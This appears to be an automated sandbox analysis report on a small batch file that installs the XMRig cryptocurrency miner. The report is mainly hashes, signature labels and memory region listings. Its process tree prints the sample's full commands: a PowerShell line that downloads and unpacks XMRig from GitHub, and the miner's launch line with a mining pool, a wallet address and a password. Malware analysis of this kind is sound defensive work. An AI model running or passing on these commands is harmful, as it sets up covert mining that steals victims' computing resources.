Analysis

  • max time kernel
    1794s
  • max time network
    1796s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22-12-2023 05:55

General

  • Target

    tesy - Copy (2).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:192
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4348
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:600
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4540

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    dd3618fc12f37327b254fc1bf8469557

    SHA1

    44d3558b99a7bbae23b9f45593b959476004c9e1

    SHA256

    ed1a872b5b051315ce90dd8aade5ee6aaa7bebb65a223f8d9df779810327fbdb

    SHA512

    8d6e620977242e1af2204c8e4dc9767009aa5564144ada93bfa90f354692399ca214689f7e64afa452a8f8ee8d53c6274dab930424694b21892f1eb48d6fb38b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kzqw0pt4.hsy.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    228KB

    MD5

    384df9c872740dc320ac00ced9d32a93

    SHA1

    4e7f9521d33ea1d3c8567c3e7dfc0210d8e75be2

    SHA256

    8f4610ef8103b3597df61199fc8f9035f71589984b8c3b02ba65c2ca7b54deb4

    SHA512

    f36ebaf36aa8443ab9c73a9c80aaedeb4f81700a9c66e84115f863457fab7afc89eaa15bda00b31b37b29c63d0a7a1ba85aadd6b8f90fa49b0d3de3d165d7d6a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    26KB

    MD5

    9f8ddad4334305262bf04a33bde2ba57

    SHA1

    3e1d016bf877388396cb90cb7bc02c48b323b9a3

    SHA256

    32a66e7f45da4b118475af41d889676b9993d7891de8130e8c2114268c4488c5

    SHA512

    78bc5489ae7f5cfbe77c935741825dcb5b7df05a4cea8844ff930fe434f9b77a7b473c8f4fe39b8ae663380e91ec92fc36bc54477b859815a3120eb047c371fc

  • memory/600-62-0x0000026D1FA90000-0x0000026D1FAA0000-memory.dmp

    Filesize

    64KB

  • memory/600-38-0x00007FFBA2C10000-0x00007FFBA35FC000-memory.dmp

    Filesize

    9.9MB

  • memory/600-41-0x0000026D1FA90000-0x0000026D1FAA0000-memory.dmp

    Filesize

    64KB

  • memory/600-113-0x00007FFBA2C10000-0x00007FFBA35FC000-memory.dmp

    Filesize

    9.9MB

  • memory/600-39-0x0000026D1FA90000-0x0000026D1FAA0000-memory.dmp

    Filesize

    64KB

  • memory/600-76-0x0000026D38120000-0x0000026D38132000-memory.dmp

    Filesize

    72KB

  • memory/600-89-0x0000026D38100000-0x0000026D3810A000-memory.dmp

    Filesize

    40KB

  • memory/4348-10-0x000001F170740000-0x000001F1707B6000-memory.dmp

    Filesize

    472KB

  • memory/4348-30-0x00007FFBA2C10000-0x00007FFBA35FC000-memory.dmp

    Filesize

    9.9MB

  • memory/4348-25-0x000001F1705B0000-0x000001F1705C0000-memory.dmp

    Filesize

    64KB

  • memory/4348-8-0x000001F1705B0000-0x000001F1705C0000-memory.dmp

    Filesize

    64KB

  • memory/4348-9-0x000001F1705B0000-0x000001F1705C0000-memory.dmp

    Filesize

    64KB

  • memory/4348-6-0x00007FFBA2C10000-0x00007FFBA35FC000-memory.dmp

    Filesize

    9.9MB

  • memory/4348-4-0x000001F170540000-0x000001F170562000-memory.dmp

    Filesize

    136KB

  • memory/4540-141-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-151-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-118-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-120-0x00000275A3CD0000-0x00000275A3CF0000-memory.dmp

    Filesize

    128KB

  • memory/4540-119-0x00000275A3AA0000-0x00000275A3AC0000-memory.dmp

    Filesize

    128KB

  • memory/4540-121-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-122-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-125-0x00000275A3CD0000-0x00000275A3CF0000-memory.dmp

    Filesize

    128KB

  • memory/4540-124-0x00000275A3AA0000-0x00000275A3AC0000-memory.dmp

    Filesize

    128KB

  • memory/4540-123-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-126-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-127-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-128-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-129-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-130-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-131-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-132-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-133-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-134-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-135-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-136-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-137-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-138-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-139-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-140-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-116-0x00000275112A0000-0x00000275112C0000-memory.dmp

    Filesize

    128KB

  • memory/4540-142-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-143-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-144-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-145-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-146-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-147-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-148-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-149-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-150-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-117-0x00000275112E0000-0x0000027511300000-memory.dmp

    Filesize

    128KB

  • memory/4540-152-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-153-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-154-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-155-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-156-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-157-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-158-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-159-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-160-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-161-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-162-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-163-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-164-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-165-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-166-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-167-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-168-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-169-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-170-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-171-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-172-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-173-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-174-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-175-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-176-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-177-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-178-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-179-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-180-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-181-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-182-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-183-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-184-0x00007FF70DB70000-0x00007FF70E673000-memory.dmp

    Filesize

    11.0MB